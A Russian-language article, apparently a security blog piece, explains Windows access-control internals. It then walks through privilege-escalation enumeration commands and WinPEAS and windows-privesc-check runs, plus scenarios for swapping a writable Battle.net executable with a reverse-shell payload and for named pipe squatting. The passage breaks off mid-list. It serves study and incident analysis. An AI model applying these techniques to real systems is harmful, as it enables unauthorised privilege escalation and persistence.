Повышение привилегий и закрепление
Повышение привилегий (privilege escalation) и закрепление в системе (persistence) — одни из ключевых этапов атаки на ОС. Даже получив первоначальный доступ к системе, злоумышленник обычно обладает ограниченными правами и не может выполнять критически важные действия.
Для развития атаки необходимо повысить уровень привилегий. Например, перейти от прав обычного пользователя к административным, чтобы выполнять чувствительные операции: изменять настройки системы, управлять службами, извлекать учетные данные или перемещаться по инфраструктуре. Следующий шаг — закрепиться в системе, чтобы сохранить доступ даже после перезагрузки компьютера или вмешательства администратора.
В статье мы рассмотрим, какие техники повышения привилегий применяют в Windows, какие механизмы используются для закрепления и по каким признакам выявлять такую активность при анализе инцидентов.
Локальные механизмы безопасности Windows
Безопасность Windows основана на механизмах контроля доступа, которые ограничивают права пользователей и процессов. Их поведение, ограничения и возможные ошибки конфигурации определяют, какие действия доступны пользователю или процессу в системе. Понимание этих механизмов важно при анализе атак, связанных с повышением привилегий и закреплением в системе.
К основным элементам локальной модели безопасности Windows относятся:
- идентификаторы безопасности (security identifier, SID);
- токены доступа;
- уровни целостности;
- контроль учетных записей (User Account Control, UAC);
- дескрипторы безопасности.
Они определяют, что может делать пользователь или процесс в системе. При каждой операции Windows проверяет права доступа и принимает решение: разрешить действие или заблокировать его.
Важную роль в этой модели играют привилегии — специальные разрешения, связанные с учетными записями и токенами доступа. Привилегии позволяют выполнять чувствительные системные операции, такие как управление службами, изменение системных параметров или получение доступа к защищенным объектам. Атака зачастую начинается с неправильной конфигурации привилегий, злоупотребления ими или обхода контроля доступа.
Идентификатор безопасности
Security identifier (SID) — это уникальный идентификатор, присваиваемый каждому субъекту безопасности в Windows. К таким субъектам относятся пользователи, группы и компьютерные учетные записи.
Система использует SID для проверки прав доступа к объектам. В отличие от имени учетной записи, которое может изменяться, SID сохраняется на все время существования субъекта.
Способ формирования SID зависит от типа учетной записи:
- Для локальных учетных записей и групп SID генерируется службой Local Security Authority (LSA) в локальной системе.
- Для доменных — SID формируется контроллером домена (domain controller).
SID представляет собой строку из нескольких компонентов:
S-Revision-IdentifierAuthority-SubAuthority-RID
Компоненты:
- S — префикс, указывающий, что значение является SID.
- Revision — версия формата SID.
- Identifier authority (IA) — орган, выдавший SID.
- SubAuthority — набор значений, определяющих домен или систему, в которой создан SID.
- Relative identifier (RID) — уникальный идентификатор объекта в пределах домена или системы.
Пример SID:
S-1-5-21-1433152208-1511117519-1944812210-1001
Расшифровка:
- Revision = 1.
- Identifier authority = 5 (NT Authority).
- SubAuthority = 21‑1433152208‑1511117519‑1944812210.
- RID = 1001 (уникальный идентификатор пользователя).
Стандартизированные SID
Некоторые SID стандартизированы и одинаковы для всех систем Windows. Они называются well‑known SID, обозначают встроенные учетные записи и группы.
Примеры:
- S‑1‑0‑0 (nobody) — нечто неопределенное или несуществующее.
- S‑1‑1‑0 (everyone) — все пользователи, включая анонимных.
- S‑1‑5‑11 (authenticated users) — все аутентифицированные пользователи.
- S‑1‑5‑18 (local system) — системная учетная запись, под которой работают многие процессы ОС.
- S‑1‑5‑domainidentifier‑500 (administrator) — встроенная учетная запись администратора (RID 500 закреплен за ней).
Токены доступа
Токены доступа (access tokens) определяют контекст безопасности пользователя или процесса, используются системой для проверки прав доступа к защищенным объектам.
После успешной аутентификации пользователь получает токен доступа, который содержит сведения, необходимые для принятия решений о доступе. В частности, в токене могут находиться:
- SID пользователя;
- SID групп, членом которых является пользователь;
- привилегии;
- уровень целостности (mandatory integrity control, MIC);
- дополнительные атрибуты безопасности, влияющие на права процесса.
На основе этих данных Windows определяет, может ли процесс открывать файлы, изменять параметры системы, запускать привилегированные действия, получать доступ к другим объектам и выполнять иные операции.
Важно понимать, что токен доступа не хранит права на все объекты системы, а используется при сравнении с дескриптором безопасности конкретного объекта. Результат этой проверки определяет, будет ли разрешен доступ.
Токен создается, когда пользователь входит в систему, и затем наследуется дочерними процессами. Поэтому права и привилегии, которыми обладает пользовательский сеанс, напрямую влияют на возможности запускаемых приложений и команд.
Чтобы понять, как формируется токен доступа, рассмотрим упрощенную схему входа пользователя в Windows, поскольку процессы аутентификации и создания токена тесно связаны между собой. На схеме ниже показано, как компоненты Winlogon, LogonUI, Credential Providers и LSASS участвуют в процессе входа пользователя в систему. После успешной проверки учетных данных подсистема LSASS формирует контекст безопасности пользователя, на основе этого контекста создается токен доступа. Затем токен используется при запуске пользовательского сеанса и наследуется дочерними процессами.
Компоненты и их значение:
- Winlogon — управляет процессом входа пользователя.
- LogonUI — отображает интерфейс входа.
- Credential Providers — предоставляют способы ввода учетных данных.
- LSASS — проверяет учетные данные и участвует в формировании контекста безопасности.
- Userinit — запускает пользовательскую сессию после успешного входа.
Виды токенов доступа
В Windows существует несколько типов токенов доступа, которые различаются по назначению и уровню привилегий.
- Primary (первичный) — основной токен, создаваемый при входе пользователя в систему. Присваивается первому процессу пользовательского сеанса (обычно
explorer.exe) и определяет базовый контекст безопасности для всех последующих процессов. - Impersonation (токен олицетворения или имперсонации) — токен, позволяющий процессу временно действовать от имени другого пользователя. Активно используется службами и серверными приложениями, которые выполняют действия от имени клиента.
- Restricted (ограниченный) — токен, который создается, когда из основного удаляют часть привилегий или добавляют запрещающие SID в список групп. Используется для запуска процесса с урезанными правами по сравнению с исходным токеном пользователя. Например, чтобы приложение, работающее с недоверенными данными, такое как браузер, не могло выполнять действия, доступные полноценной учетной записи, даже если сама учетная запись обладает административными правами.
После успешной аутентификации создается токен primary, который присваивается первому пользовательскому сеансу. Все процессы в его рамках получают копию или производную этого токена, тем самым наследуя его контекст безопасности.
Каждый процесс и поток в системе работает в рамках определенного токена доступа. Токен определяет, какие действия может выполнять процесс, к каким объектам системы он имеет доступ, какие привилегии могут быть использованы.
Формирование токена
При создании токена система Local Security Authority (LSA) анализирует информацию об учетной записи пользователя и определяет его права. В частности, проверяется членство пользователя в привилегированных группах, таких как:
- «Администраторы» (Builtin administrators);
- «Администраторы домена» (Domain administrators);
- «Администраторы предприятия» (Enterprise administrators);
- «Операторы учетных записей» (Account operators);
- «Операторы архива» (Backup operators).
Также проверяется наличие специальных системных привилегий. Например:
- SeBackupPrivilege — позволяет создавать резервные копии файлов, игнорируя стандартные права доступа.
- SeCreateTokenPrivilege — позволяет создавать токены безопасности для других пользователей.
- SeTakeOwnershipPrivilege — позволяет изменять владельца объекта.
- SeImpersonatePrivilege — позволяет процессу действовать от имени другого пользователя.
- SeLabelPrivilege — позволяет изменять метки безопасности объектов.
Токены при использовании UAC
Если пользователь входит в систему и является членом группы Administrators, механизм User Account Control (UAC) создает два токена доступа:
- Elevated — токен с высоким уровнем целостности (high integrity level), содержащий полный набор прав и привилегий администратора.
- Filtered (restricted) — ограниченный токен со средним уровнем целостности (medium integrity level), в котором административные привилегии отключены.
По умолчанию пользовательские процессы запускаются с ограниченным токеном, что снижает риск случайного выполнения опасных действий. При необходимости административных операций система запрашивает подтверждение пользователя (запрос UAC) и запускает процесс с токеном elevated. Механизм токенов доступа играет ключевую роль в большинстве техник локального повышения привилегий.
Злоумышленники часто пытаются:
- получить доступ к elevated — токену администратора;
- украсть или использовать чужой токен (токен impersonation);
- воспользоваться привилегиями, например SeImpersonatePrivilege, для выполнения potato‑атак;
- внедрить код в процессы с более привилегированным токеном.
Поэтому для расследования киберинцидентов важно анализировать токены, уровни целостности и используемых привилегий.
Рассмотрим схему, как ограниченный и повышенный токены используются в системе и как происходит переход между ними.
Даже для пользователя из группы Administrators система создает два токена: ограниченный (filtered) и полный (elevated).
По умолчанию процессы запускаются с ограниченным токеном. При выполнении административных действий требуется подтверждение, после которого процесс получает полный набор привилегий. Таким образом, административные права используются не постоянно, а только при явном повышении привилегий.
Именно поэтому многие техники повышения привилегий направлены не на получение новых прав напрямую, а на получение более привилегированного токена безопасности.
Структура токена доступа
Токен доступа содержит набор параметров, определяющих контекст безопасности процесса или пользователя.
К ключевым элементам токена относятся:
- User SID — уникальный идентификатор пользователя. Используется для определения индивидуальных прав доступа к объектам.
- Group SIDs — идентификаторы групп, членом которых является пользователь. Через групповые SID пользователю могут предоставляться дополнительные права и разрешения.
- Logon session SID — идентификатор текущей сессии входа пользователя. Позволяет системе различать разные сеансы входа и контролировать доступ к объектам, связанным с конкретной пользовательской сессией.
- Integrity level — уровень целостности процесса, определяющий уровень доверия системы к выполняемому коду:
- low — минимальный, используется для изолированных процессов;
- medium — стандартный, используется для пользовательских процессов;
- high — повышенный, характерен для процессов, запущенных с правами администратора;
- system — наивысший, используется системными службами и процессами ОС.
- Тип токена доступа:
- primary — основной токен, присваиваемый процессу пользователя;
- impersonation — токен, позволяющий процессу временно действовать от имени другого пользователя.
- User privileges list — список привилегий, связанных с токеном пользователя или процесса. Они позволяют выполнять специальные системные операции, например управление службами, резервное копирование файлов или административные действия.
Совокупность этих элементов формирует контекст безопасности процесса, который Windows использует при проверке доступа к объектам.
Особое значение имеет уровень целостности, который ограничивает доступ процесса к объектам системы в зависимости от их уровня доверия, предотвращая несанкционированные действия. Рассмотрим их подробнее.
Уровни целостности
Механизм уровней целостности (mandatory integrity control, MIC) был внедрен в Windows, начиная с Windows Vista и Windows Server 2008. Он представляет собой модель мандатного контроля доступа, которая ограничивает возможность менее привилегированных процессов взаимодействовать с ресурсами и процессами, обладающими более высоким уровнем доверия.
Если классическая модель безопасности Windows (access control lists, ACL) определяет, какие субъекты имеют доступ к объекту, то MIC вводит дополнительное ограничение — уровень доверия к процессу или объекту.
Каждому процессу и объекту системы присваивается уровень целостности (integrity level). При попытке доступа Windows сравнивает уровень целостности процесса с уровнем целостности объекта.
Рассмотрим в таблице уровни целостности в Windows:
| Числовой идентификатор | Уровень целостности | Описание |
|---|---|---|
| 0 |
Untrusted |
Используется для максимально ограниченных процессов, например при анонимном доступе |
| 4096 |
Low |
Применяется для изолированных процессов, например в браузере. Ограничивает запись в профиль пользователя и системные области реестра |
| 8192 |
Medium |
Стандартный уровень пользовательских процессов. На нем работает большинство приложений ( |
| 12288 |
High |
Назначается процессам, запущенным с повышенными правами администратора. Обычно появляется после подтверждения UAC |
| 16384 |
System |
Используется системными службами и компонентами ОС, имеющими полный доступ к системным ресурсам |
| 20480 |
Protected process |
Используется для специальных защищенных процессов системы (например, некоторые компоненты безопасности). Устанавливается только ядром Windows |
Механизм MIC изолирует процессы и защищает критические ресурсы системы.
Процесс с более низким уровнем целостности не может:
- изменять процессы с более высоким уровнем доверия;
- модифицировать защищенные системные объекты;
- внедрять код в более привилегированные процессы.
Это позволяет ограничить последствия выполнения вредоносного кода в пользовательском контексте. Даже если злоумышленник запустит от имени пользователя процесс, он будет работать с уровнем medium integrity и не сможет напрямую взаимодействовать с более привилегированными компонентами системы.
Когда пользователю необходимо выполнить операцию, требующую повышенных прав, используется механизм UAC. Он позволяет запустить процесс с более высоким уровнем целостности (high integrity) после подтверждения пользователя, тем самым предоставив процессу дополнительные привилегии.
Именно поэтому многие техники повышения привилегий направлены на получение процесса с более высоким уровнем целостности или обход механизма UAC.
При расследовании инцидентов уровень целостности процесса может служить важным индикатором активности злоумышленника. Появление процессов с уровнем high integrity без явного повышения прав может свидетельствовать о попытке обхода UAC или успешном повышении привилегий.
Контроль учетных записей пользователей
UAC — компонент безопасности Windows, предназначенный для предотвращения несанкционированных изменений в системе. Он контролирует запуск процессов и запрашивает у пользователя подтверждение при выполнении действий, требующих повышенных привилегий.
Основная задача компонента — снизить риск выполнения вредоносного кода с административными правами, даже если пользователь работает под учетной записью администратора.
Роль и механизмы UAC
Токены доступа
При авторизации пользователя, входящего в группу Administrators, система создает два токена доступа:
- Полный (elevated), который содержит полный набор прав и привилегий администратора.
- Ограниченный (filtered), который образуется путем удаления административных привилегий из полного токена и используется большинством процессов по умолчанию.
Получается, даже пользователь с административными правами работает в обычном режиме с ограниченным токеном, а полный используется только при необходимости повышения привилегий.
Уровни целостности:
- По умолчанию процессы пользователя работают на уровне medium integrity.
- При выполнении задачи, требующей административных прав, система запрашивает подтверждение через UAC.
- После подтверждения процесс запускается с использованием полного токена и уровня high integrity.
Идентификаторы безопасности
Каждый токен пользователя содержит security identifier (SID), а также SID групп, членом которых является пользователь. Система использует эти идентификаторы, чтобы определять права доступа и проверять членство в привилегированных группах.
Интеграция с MIC
Механизм UAC работает совместно с MIC. MIC ограничивает взаимодействие процессов в зависимости от их уровня целостности. Например, процесс с уровнем medium integrity не может модифицировать объекты, принадлежащие процессу с high integrity.
Совместная работа UAC и MIC позволяет снизить риск опасных действий без явного подтверждения пользователя.
Принцип работы UAC:
- Пользовательские процессы запускаются с ограниченными правами.
- При обращении к операциям, требующим повышенного доступа, система запрашивает подтверждение.
- В случае согласия пользователю разрешается выполнить процесс с полным токеном и повышенными привилегиями.
Пример окон UAC при попытке запроса на повышение прав:
Архитектура UAC:
Схема выше отражает работу механизма UAC, когда пользователь инициирует действие, требующее повышенных прав. Запрос обрабатывается службой Application Information Service. В зависимости от настроек безопасности появляется окно подтверждения, после чего создается процесс с полным токеном доступа или, если в повышении нет необходимости, включается режим виртуализации для безопасного взаимодействия с системными ресурсами.
Дескрипторы безопасности
В Windows ресурсы защищены с помощью структуры данных — дескриптора безопасности (security descriptors), который определяет правила контроля доступа и задает порядок взаимодействия субъектов с объектами системы.
При обращении к защищаемому объекту ОС проверяет доступ: сопоставляет токен доступа субъекта с параметрами, заданными в дескрипторе безопасности объекта. Если параметры соответствуют установленным правилам, доступ разрешается, в противном случае блокируется.
Дескриптор безопасности включает два типа списков контроля доступа:
- дискреционный — определяющий права субъектов на объект;
- системный — задающий действия, подлежащие регистрации в журнале безопасности.
Такая модель обеспечивает разграничение прав и аудит операций.
Дескриптор безопасности определяет правила доступа к объекту и включает несколько элементов:
- Owner SID — идентификатор владельца объекта. Владелец имеет право изменять параметры доступа к объекту, включая списки контроля доступа.
- Primary group SID — идентификатор основной группы. Обеспечивает совместимость с другими системами безопасности.
- Discretionary access control list (DACL) — дискреционный список контроля доступа, содержащий записи access control entry (ACE), которые определяют разрешения и запреты для пользователей и групп.
- System access control list (SACL) — системный список контроля доступа, используемый для регистрации событий доступа в журнале безопасности.
- Control flags — флаги управления, определяющие свойства дескриптора безопасности и особенности его обработки системой.
В иерархических объектах, таких как файлы и каталоги, дескрипторы безопасности поддерживают механизм наследования. Это позволяет дочерним объектам автоматически принимать параметры доступа от родительских объектов, что упрощает управление правами в файловой системе и других иерархических структурах. Таким образом, именно взаимодействие токена доступа субъекта и дескриптора безопасности объекта определяет, будет ли операция разрешена или заблокирована системой.
SID, токены доступа, уровни целостности, UAC и дескрипторы безопасности формируют основу модели безопасности Windows и определяют, какие действия разрешены процессам и пользователям. Понимание, как работают эти механизмы, важно не только для администрирования системы, но и для анализа инцидентов безопасности.
В следующей части разберем, каким образом злоумышленники могут обходить или использовать особенности этих механизмов для повышения привилегий и закрепления в системе.
Техники повышения привилегий
Когда злоумышленник получает первоначальный доступ к системе, его возможности обычно ограничены правами текущего пользователя. В большинстве случаев такой доступ не позволяет изменять системные настройки, устанавливать службы или взаимодействовать с привилегированными процессами. Поэтому одним из ключевых этапов развития атаки является повышение привилегий, то есть получение более высоких прав в системе, например прав администратора или уровня SYSTEM.
Повысить привилегии можно разными способами: за счет ошибок конфигурации системы, небезопасных настроек служб, утечек учетных данных или эксплуатации уязвимостей ОС.
Существует несколько подходов, которые злоумышленники используют для получения повышенных прав в системе:
- Stored credentials — использование сохраненных учетных данных. В системе могут храниться пароли, токены или конфигурационные файлы, содержащие данные привилегированных пользователей.
- Abusing privileged processes — злоупотребление привилегированными процессами. Злоумышленник заставляет процесс с более высокими привилегиями выполнить нужные для атаки действия, эффективно используя чужой контекст безопасности.
- Kernel and driver vulnerabilities — уязвимости ядра и драйверов. Их эксплуатация позволяет получить максимально высокий уровень привилегий.
- Abusing powerful privileges — злоупотребление суперпривилегиями. Использование специальных системных привилегий (например, SeImpersonatePrivilege) для выполнения действий, недоступных обычным пользователям.
Сбор информации о системе
Перед попыткой повысить привилегии злоумышленнику необходимо собрать как можно больше информации о целевой системе. Этот этап называется enumeration, он позволяет определить возможные векторы атаки. Сбор информации можно разделить на два подхода: ручной и автоматизированный. Каждый из них имеет свои преимущества и ограничения.
В ходе анализа злоумышленника интересуют следующие данные:
- имена пользователя и хоста,
- членство пользователя в группах,
- список существующих пользователей и групп,
- версия и архитектура ОС,
- запущенные процессы,
- службы и запланированные задачи,
- конфигурации безопасности системы.
Ручной сбор информации
Сбор данных вручную может занять больше времени, чем с помощью автоматизированных инструментов. Однако такой подход позволяет лучше контролировать анализ и глубже понимать конфигурацию системы. Кроме того, он помогает выявлять нестандартные или менее очевидные векторы повышения привилегий, которые автоматизированные средства могут пропустить или интерпретировать поверхностно.
Получив доступ к системе, атакующему важно определить текущий контекст безопасности: от имени какого пользователя выполняется командная оболочка, какими привилегиями он обладает и в какие группы входит.
Определение текущего пользователя
Для этого используется команда whoami, доступная в Windows, Linux и macOS. При запуске без параметров эта команда выводит имя пользователя, от имени которого запущена текущая оболочка.
Но одного имени пользователя недостаточно для оценки реальных возможностей учетной записи в системе. Чтобы полностью понимать контекст, полезно знать расширенную информацию о текущей учетной записи и связанных с ней привилегиях. В Windows это можно сделать с помощью команды whoami/all:
Анализ локальных учетных записей
Следующий шаг — получить общее представление о локальных учетных записях, существующих в системе. Для этого в Windows используется команда net user:
При запуске без аргументов эта команда выводит список всех локальных пользователей, зарегистрированных на компьютере: как стандартные пользовательские учетные записи, так и административные или служебные аккаунты.
Если требуется получить более подробную информацию о конкретной учетной записи, используется команда: net user <имя_пользователя>:
В ответ система выводит сведения о параметрах учетной записи: полное имя пользователя, членство в группах, статус учетной записи, дату последнего входа и другие характеристики. Эта информация помогает понять, какие учетные записи потенциально могут представлять интерес с точки зрения привилегий и дальнейшего развития атаки.
Сбор информации о системе
После анализа учетных записей важно понять, в какой среде выполняется код: роль хоста, версия ОС и особенности конфигурации, которые могут быть полезны для дальнейших действий.
Определение имени хоста
Имя системы часто позволяет получить дополнительный контекст о ее назначении. В корпоративных инфраструктурах в названиях хостов нередко используются сокращения, отражающие их роль, например:
- web — веб‑сервер;
- db — сервер баз данных;
- dc — контроллер домена.
Для получения имени хоста используется команда hostname:
Чтобы повысить привилегии, важно знать точную версию ОС и ее архитектуру. Многие эксплоиты и уязвимости применимы только к конкретным версиям ОС, поэтому ошибка может привести к нестабильности системы или потере доступа.
В Windows для получения такой информации используется команда: systeminfo:
Она выводит подробные сведения о системе, включая:
- версию ОС;
- установленный билд;
- архитектуру (x86/x64);
- дату установки;
- список установленных обновлений.
Эти данные позволяют подбирать подходящие эксплоиты, выявлять устаревшие системы, а также учитывать особенности защиты конкретной версии Windows.
Анализ процессов и служб
Этот шаг позволяет выявить значимые цели, например процессы, работающие с повышенными привилегиями, или нестандартные сервисы.
Для просмотра процессов используется команда tasklist:
Для более детального анализа можно использовать команду tasklist /svc — она показывает, какие службы связаны с конкретными процессами:
Анализ процессов помогает обнаружить:
- службы, работающие от имени привилегированных учетных записей;
- нестандартные или подозрительные процессы;
- потенциальные точки взаимодействия с системой.
Часть информации о процессах может быть недоступна без повышенных привилегий, что само по себе индикатор ограничений текущего доступа.
Анализ запланированных задач
В корпоративных системах часто используются автоматизированные задания, которые выполняются с повышенными привилегиями.
Для просмотра задач используется команда schtasks /query /fo LIST /v:
Она выводит подробную информацию о задачах, включая:
- имя задачи;
- время последнего и следующего запуска;
- учетную запись, от имени которой выполняется задача;
- команду или запускаемый скрипт.
Неправильно настроенные задачи могут стать точкой повышения привилегий, например в следующих случаях:
- если злоумышленник может изменить исполняемый файл задачи;
- если задача запускается от имени привилегированной учетной записи;
- если используются небезопасные пути или параметры запуска.
Ручной сбор информации позволяет последовательно изучить систему: от текущего пользователя и его привилегий до конфигурации ОС, процессов и запланированных задач. Такая детализация дает возможность не только выявить потенциальные уязвимости, но и понять логику работы системы, что критически важно для выбора корректного метода повышения привилегий.
Автоматизированный сбор информации
Ручной сбор информации позволяет глубже понять систему, однако он занимает много времени. В условиях атаки злоумышленники стремятся ускорить этот этап, поэтому используют автоматизированные инструменты для анализа системы и выявления векторов повышения привилегий. Такие инструменты выполняют комплексную проверку: анализируют конфигурацию системы, права доступа, службы, задачи и другие элементы для получения повышенных прав.
Windows-privesc-check
Этот инструмент автоматизированного анализа представляет собой скрипт, который позволяет выявлять ошибки конфигурации и небезопасные настройки, потенциально приводящие к повышению привилегий.
Основные возможности:
- анализ конфигурации системы и поиск небезопасных настроек,
- проверка прав доступа к файлам и каталогам,
- выявление уязвимостей в службах и запланированных задачах,
- анализ параметров реестра,
- проверка прав пользователей и групп.
Анализ пользователей и привилегий
Команда windows‑privesc‑check2.exe ‑‑dump ‑U ‑o users_report собирает информацию о локальных пользователях системы, включая перечень учетных записей и их принадлежность к группам:
В результате работы инструмент выводит список пользователей, присутствующих на хосте, а также служебную информацию о режиме запуска и текущем контексте выполнения. В примере выше видно, что система не входит в домен, а среди обнаруженных учетных записей присутствуют как пользовательская, так и встроенные системные учетные записи Windows, например DefaultAccount, WDAGUtilityAccount, «Администратор» и «Гость». Такие данные позволяют получить общее представление о наборе локальных пользователей, с которыми может быть связан анализ групп, привилегий и потенциально избыточных прав доступа.
Расширенный анализ
Для автоматизированного поиска потенциальных векторов повышения привилегий также используется команда windows-privesc-check2.exe --audit -t -j -S -P -o audit_core > audit_core_console.txt 2>&1:
Эта команда выполняет комплексный аудит системы, сосредотачиваясь на поиске небезопасных конфигураций, которые можно использовать для повышения привилегий.
Разберем параметры команды подробнее:
--audit— запускает полный аудит системы. Проверяет различные категории: службы Windows, права на файлы и директории, конфигурацию PATH, ключи реестра и другие потенциально уязвимые области.-t— выводит результаты в текстовом формате, удобном для анализа и включения в отчет по итогам аудита, формируемый самой утилитой.-j— дополнительно формирует вывод в структурированном виде (JSON), что может использоваться для автоматизированной обработки результатов.-S— включает проверки, связанные с Windows services — одной из ключевых точек для повышения привилегий (например, проверка прав на бинарные файлы сервисов и их конфигурацию).-P— включает проверки, связанные с переменной окружения PATH, включая поиск каталогов и исполняемых файлов, доступных для записи непривилегированным пользователям.-o audit_core— указывает базовое имя для выходных файлов отчета.
После выполнения команды формируется файл audit_core_console.txt, содержащий результаты аудита системы. В этом файле инструмент фиксирует выявленные проблемы, связанные с правами доступа, конфигурацией служб, переменными окружения и другими потенциально уязвимыми областями.
Проанализировав его содержимое, можно выделить несколько категорий небезопасных настроек, которые злоумышленник использует для повышения привилегий. Ниже рассмотрим наиболее показательные примеры.
В ходе аудита мы выявили две категории небезопасных настроек. Первая связана с пользовательским PATH. Инструмент показал, что каталог C:\Users\Alexander\AppData\Local\Microsoft\WindowsApps, входящий в пользовательскую переменную PATH, доступен для записи самой учетной записи HOME-PC\Alexander.
File C:\Users\Alexander\AppData\Local\Microsoft\WindowsApps has weak permissions: ALLOW HOME-PC\Alexander: FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_WRITE_EA FILE_DELETE_CHILD FILE_WRITE_ATTRIBUTES DELETE WRITE_DAC WRITE_OWNER
Кроме того, права на изменение были обнаружены у файлов python.exe и python3.exe, расположенных в этом каталоге:
File C:\Users\Alexander\AppData\Local\Microsoft\WindowsApps\python.exe has weak permissions: ALLOW HOME-PC\Alexander: FILE_WRITE_DATA FILE_APPEND_DATA DELETE WRITE_DAC WRITE_OWNER File C:\Users\Alexander\AppData\Local\Microsoft\WindowsApps\python3.exe has weak permissions: ALLOW HOME-PC\Alexander: FILE_WRITE_DATA FILE_APPEND_DATA DELETE WRITE_DAC WRITE_OWNER
Такая конфигурация опасна тем, что пользователь может подменить исполняемый файл или создать новый объект, который затем будет найден механизмом поиска по PATH и запущен вместо ожидаемой программы.
Вторая категория находок относится к установленному ПО в Program Files. В нормальной ситуации непривилегированные пользователи не должны изменять файлы в этом каталоге. Однако в нашем примере инструмент выявил, что группа «Пользователи», интерактивные пользователи и конкретная учетная запись HOME‑PC\Alexander может изменять файлы Battle.net Launcher.exe и Battle.net.exe:
File C:\Program Files (x86)\Battle.net\Battle.net Launcher.exe has weak permissions: ALLOW BUILTIN\Пользователи: FILE_WRITE_DATA FILE_APPEND_DATA DELETE WRITE_DAC WRITE_OWNER ALLOW NT AUTHORITY\ИНТЕРАКТИВНЫЕ: FILE_WRITE_DATA FILE_APPEND_DATA DELETE WRITE_DAC WRITE_OWNER ALLOW HOME-PC\Alexander: FILE_WRITE_DATA FILE_APPEND_DATA DELETE WRITE_DAC WRITE_OWNER File C:\Program Files (x86)\Battle.net\Battle.net.exe has weak permissions: ALLOW BUILTIN\Пользователи: FILE_WRITE_DATA FILE_APPEND_DATA DELETE WRITE_DAC WRITE_OWNER
Это опасный сценарий: злоумышленник, получивший доступ к обычной пользовательской сессии, может заменить исполняемый файл на вредоносный и дождаться его запуска. Если запуск произойдет в более привилегированном контексте, это приведет к выполнению вредоносного кода с повышенными правами.
Причины уязвимости
Причина кроется в том, как Blizzard реализовала установщик и механизм обновлений. Battle.net — это клиент, который регулярно обновляется в фоне, подкачивает патчи для игр, модифицирует собственные файлы. Чтобы это работало без постоянных UAC‑запросов, разработчики при установке выдают широкие права на запись в каталог приложения, причем для всей группы «BUILTIN\Пользователи», то есть для любого локального пользователя.
Это типичный выбор между удобством и безопасностью, который разработчики нередко делают в пользу первого. Результат предсказуем: вместо того чтобы использовать корректный механизм (выделенный сервис с минимальными привилегиями, подписанные обновления, проверка целостности), инсталлятор открывает директорию сразу всем.
Особенности уязвимости
Она воспроизводится на любом компьютере с установленным Battle.net — это не случайная ошибка конкретной системы, а системный баг инсталлятора Blizzard. Права выданы не просто на чтение, а на FILE_WRITE_DATA, DELETE, WRITE_DAC и WRITE_OWNER, то есть злоумышленник может не только подменить бинарный файл, но и переписать ACL.
Рассмотрим сценарий атаки. Злоумышленник, получивший доступ к обычной пользовательской сессии, заменяет Battle.net Launcher.exe на вредоносный файл. Например, на полезную нагрузку (payload) с обратным шеллом, упакованную в один исполняемый файл вместе с оригинальным лаунчером с помощью техники биндинга (binder/dropper). Так приложение визуально и функционально продолжит выглядеть как легитимный клиент.
После этого остается лишь дождаться, когда пользователь или планировщик задач запустит клиент. Если запуск произойдет в более привилегированном контексте (через назначенную задачу с правами SYSTEM или через механизм автоматического обновления), вредоносный код выполнится с повышенными привилегиями.
Даже без немедленного повышения привилегий эта уязвимость представляет собой надежный механизм закрепления в системе. Вредоносный код будет выполняться при каждом запуске игрового клиента, то есть довольно часто. Дополнительно стоит учитывать, что игровые клиенты нередко прописывают себя в автозагрузку, а значит, вредоносный код будет запускаться автоматически при каждом входе пользователя в систему.
WinPEAS
Еще один популярный инструмент для повышения привилегий — WinPEAS, входящий в набор PEASS‑ng (privilege escalation awesome scripts suite). В отличие от узкоспециализированных утилит, WinPEAS ориентирован на комплексный аудит системы. Он автоматически проверяет десятки потенциальных векторов повышения привилегий и представляет результаты в структурированном виде с цветовой разметкой, что упрощает анализ большого объема данных.
Основные возможности инструмента:
- сбор подробной информации о системе и ее конфигурации;
- анализ переменных окружения и параметров безопасности (UAC, LSA protection, credential guard и др.);
- поиск слабых настроек прав доступа к файлам, службам и объектам ядра;
- выявление потенциальных векторов повышения привилегий и закрепления в системе.
WinPEAS запускается локально на целевой машине и не требует установки. Достаточно скопировать исполняемый файл и запустить его с нужным набором параметров. Результаты работы можно вывести непосредственно в консоль или сохранить в файл для последующего анализа.
Сбор информации о системе
Функциональность инструмента разбита на модули, которые можно запускать по отдельности или вместе. Воспользуемся одной из базовых команд, чтобы собрать общую информацию о системе и пользователе:
.\winPEASx64.exe systeminfo userinfo
В рамках модулей systeminfo и userinfo WinPEAS собирает:
- версию и архитектуру ОС;
- список установленных обновлений;
- сведения о хосте и его конфигурации;
- параметры сетевого окружения;
- информацию о пользователях, группах и их привилегиях.
Несмотря на минимальный набор параметров, объем и глубина собранной информации значительны. Рассмотрим, что удалось обнаружить в результате запуска.
Именованные каналы с правами на запись у непривилегированных пользователей
Один из самых интересных разделов — обнаруженные именованные каналы (named pipes) со слабыми правами доступа:
\\.\pipe\ProtectedPrefix\LocalService\FTHPIPE Low-priv ACLs : NT AUTHORITY\ИНТЕРАКТИВНЫЕ [AppendData|CreateDirectories|CreateFiles|Write|WriteAttributes|WriteData|WriteExtendedAttributes]; NT AUTHORITY\LOCAL SERVICE [FullControl] Observed owners: No privileged handles observed (service idle or access denied) \\.\pipe\Winsock2\CatalogChangeListener-684-0 Low-priv ACLs : NT AUTHORITY\СЕТЬ [AppendData|CreateDirectories|CreateFiles|Write|WriteAttributes|WriteData|WriteExtendedAttributes] Observed owners: No privileged handles observed (service idle or access denied)
Named pipe — это механизм межпроцессного взаимодействия (IPC) в Windows, который позволяет двум разным процессам обмениваться данными, как будто это чтение обычного файла и запись в него. Каналы часто используются службами: например, служба, работающая с правами SYSTEM, создает пайп с определенным именем (\\.\pipe\ИмяКанала) и ожидает подключения клиента, чтобы получать от него команды или передавать данные.
Проблема в том, как Windows обрабатывает создание именованного канала. Когда сервис вызывает функцию CreateNamedPipe, он должен явно указать список прав доступа (ACL): кто может подключаться к этому каналу как клиент, а кто может им управлять как сервер. Возможность для атаки открывается, если разработчик службы указал слишком широкий ACL. Например, разрешил запись группе NT AUTHORITY\ИНТЕРАКТИВНЫЕ (то есть любому пользователю, вошедшему в систему локально) или NT AUTHORITY\СЕТЬ (то есть любому пользователю, подключившемуся к системе удаленно по сети).
Атака named pipe squatting (или pipe hijacking) строится на характерной особенности Windows: имя канала уникально, и первый процесс, который его создаст, становится его владельцем. Если атакующий заранее знает или предсказывает имя, которое привилегированная служба будет использовать при следующем запуске (например, при перезапуске службы, обновлении, восстановлении после сбоя), он может создать канал с этим именем от своего непривилегированного процесса до того, как это сделает легитимная служба.
Дальше события развиваются так:
- Атакующий создает пайп‑сервер с ожидаемым именем канала от имени обычного пользователя.
